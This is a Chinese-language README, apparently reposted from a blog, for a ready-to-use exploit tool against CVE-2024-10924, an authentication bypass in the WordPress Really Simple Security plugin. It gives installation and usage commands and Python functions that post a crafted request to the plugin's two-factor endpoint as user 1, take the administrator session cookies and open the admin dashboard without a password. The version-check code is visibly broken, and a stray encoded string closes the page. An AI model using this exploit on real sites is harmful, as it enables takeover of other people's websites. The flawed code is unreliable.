WordPress Really Simple Security 插件认证绕过漏洞利用工具

4 阅读3分钟

WordPress Really Simple Security 认证绕过漏洞利用工具 (CVE-2024-10924)

本项目是一个针对 WordPress 插件 Really Simple Security (包括 Free、Pro 和 Pro Multisite 版本) 在 9.0.0 至 9.1.1.1 版本中存在的一个严重认证绕过漏洞的自动化利用脚本。该工具可以检测目标站点是否易受攻击,并通过漏洞获取管理员权限的会话,最终自动化地打开浏览器,进入 WordPress 管理面板。

✨ 功能特性

  • 漏洞利用:向存在漏洞的 API 端点 (/wp-json/reallysimplessl/v1/two_fa/skip_onboarding) 发送精心构造的请求,利用不当的错误处理逻辑,绕过身份验证。
  • 自动获取会话:从漏洞利用的响应中提取并保存有效的会话 Cookie。
  • 浏览器自动化:集成 Selenium,自动启动 Chrome 浏览器,将获取到的会话 Cookie 注入当前会话,并自动跳转到 WordPress 后台 (/wp-admin/),实现无密码登录。
  • 命令行交互:提供简单的命令行参数接口,方便快速指定目标 URL 并执行测试。

📦 安装指南

系统要求

  • Python 3.7 或更高版本
  • Google Chrome 浏览器
  • 网络连接以下载 ChromeDriver

安装步骤

  1. 克隆或下载项目代码:将本脚本保存为 CVE-2024-10924.py

  2. 安装 Python 依赖: 打开终端或命令提示符,导航到脚本所在目录,执行以下命令安装所需的 Python 库:

    pip install requests selenium webdriver-manager
    
    • requests: 用于发送 HTTP 请求进行版本检测和漏洞利用。
    • selenium: 用于自动化浏览器操作。
    • webdriver-manager: 用于自动管理 ChromeDriver 驱动版本,确保与本地 Chrome 浏览器兼容。

🚀 使用说明

基础用法

在终端中运行脚本,并使用 -u--url 参数指定目标 WordPress 站点的 URL。

python CVE-2024-10924.py -u http://target-website.com/

工作流程

  1. 如果检测到的版本在 9.0.09.1.1.1 之间,脚本会继续执行漏洞利用步骤。
  2. 漏洞利用成功后,会尝试从响应头中提取 Set-Cookie,并打印提示信息。
  3. 脚本将自动启动 Chrome 浏览器,将获取到的 Cookie 注入浏览器会话。
  4. 浏览器将自动导航至 http://target-website.com/wp-admin/,此时如果成功,将直接显示 WordPress 管理面板,而无需输入密码。

输出示例

[+] The site is vulnerable: installed version is 9.1.0
[+] Exploit successful, opening browser...
[DEBUG] Extracted cookies: {'wordpress_logged_in_...': '...', 'wp-settings-...': '...'}
[+] Logged in successfully
[+] Keeping browser open for debugging...

🧠 核心代码解析

1. 版本检测 (version_check)

def version_check(url):

    try:

        response.raise_for_status()
    except requests.RequestException as e:

        return False

    content = response.text
    for line in content.splitlines():
        if line.startswith("Stable tag:"):
            version = line.split(":")[1].strip()
            # 检查版本是否小于等于9.0.0或9.1.1.1
            if version <= "9.0.0" or version <= "9.1.1.1":
                print(f"[+] The site is vulnerable: installed version is {version}")
                return True
            else:
                print(f"[-] The site is safe: installed version is {version}")
                return False


    return False

2. 漏洞利用 (exploit)

此函数向易受攻击的 API 端点发送 POST 请求,利用逻辑缺陷获取认证 Cookie。请求体中包含 user_id 等关键信息。

def exploit(url):
    exploit_url = f"{url}/wp-json/reallysimplessl/v1/two_fa/skip_onboarding"
    data = {"user_id": "1", "redirect_to": "/", "login_nonce": "random"}
    headers = {"Content-Type": "application/json"}

    try:
        response = requests.post(exploit_url, json=data, headers=headers)
        response.raise_for_status()
    except requests.RequestException as e:
        print(f"[-] Exploit request failed: {e}")
        return None

    # 检查响应头中是否包含 Set-Cookie,这标志着漏洞利用成功
    if "Set-Cookie" in response.headers:
        return response.cookies.get_dict()
    else:
        print("[-] Exploit failed: No Set-Cookie header found")
        return None

3. 浏览器自动化 (open_browser)

该函数利用 Selenium 和获取到的 Cookie 来自动登录 WordPress 后台。它负责启动浏览器、添加 Cookie,并最终跳转到管理面板。

def open_browser(url, cookies):
    options = Options()
    options.add_argument("--no-sandbox")
    options.add_argument("--disable-dev-shm-usage")

    # 自动下载并管理 ChromeDriver
    service = Service(ChromeDriverManager().install())
    driver = webdriver.Chrome(service=service, options=options)

    try:
        # 首先访问目标站点的域,以便后续添加 Cookie
        driver.get(f"{url}/wp-admin/")
        driver.implicitly_wait(10)

        print("[DEBUG] Extracted cookies:", cookies)  

        # 将获取到的 Cookie 注入浏览器
        for name, value in cookies.items():
            driver.add_cookie({"name": name, "value": value, "path": "/"})

        # 刷新页面,以应用 Cookie,并跳转到 wp-admin
        driver.get(f"{url}/wp-admin/")
        time.sleep(5)

        # 简单验证是否登录成功(通过页面内容判断)
        if "Dashboard" in driver.page_source:
            print("[+] Logged in successfully")
        else:
            print("[-] Login failed")

        print("[+] Keeping browser open for debugging...")
        time.sleep(30)
    finally:
        driver.quit()

6HFtX5dABrKlqXeO5PUv/zhUEDIzx86+TCavk0J8LmizeQ64nvCKrvYpGwsDMVSV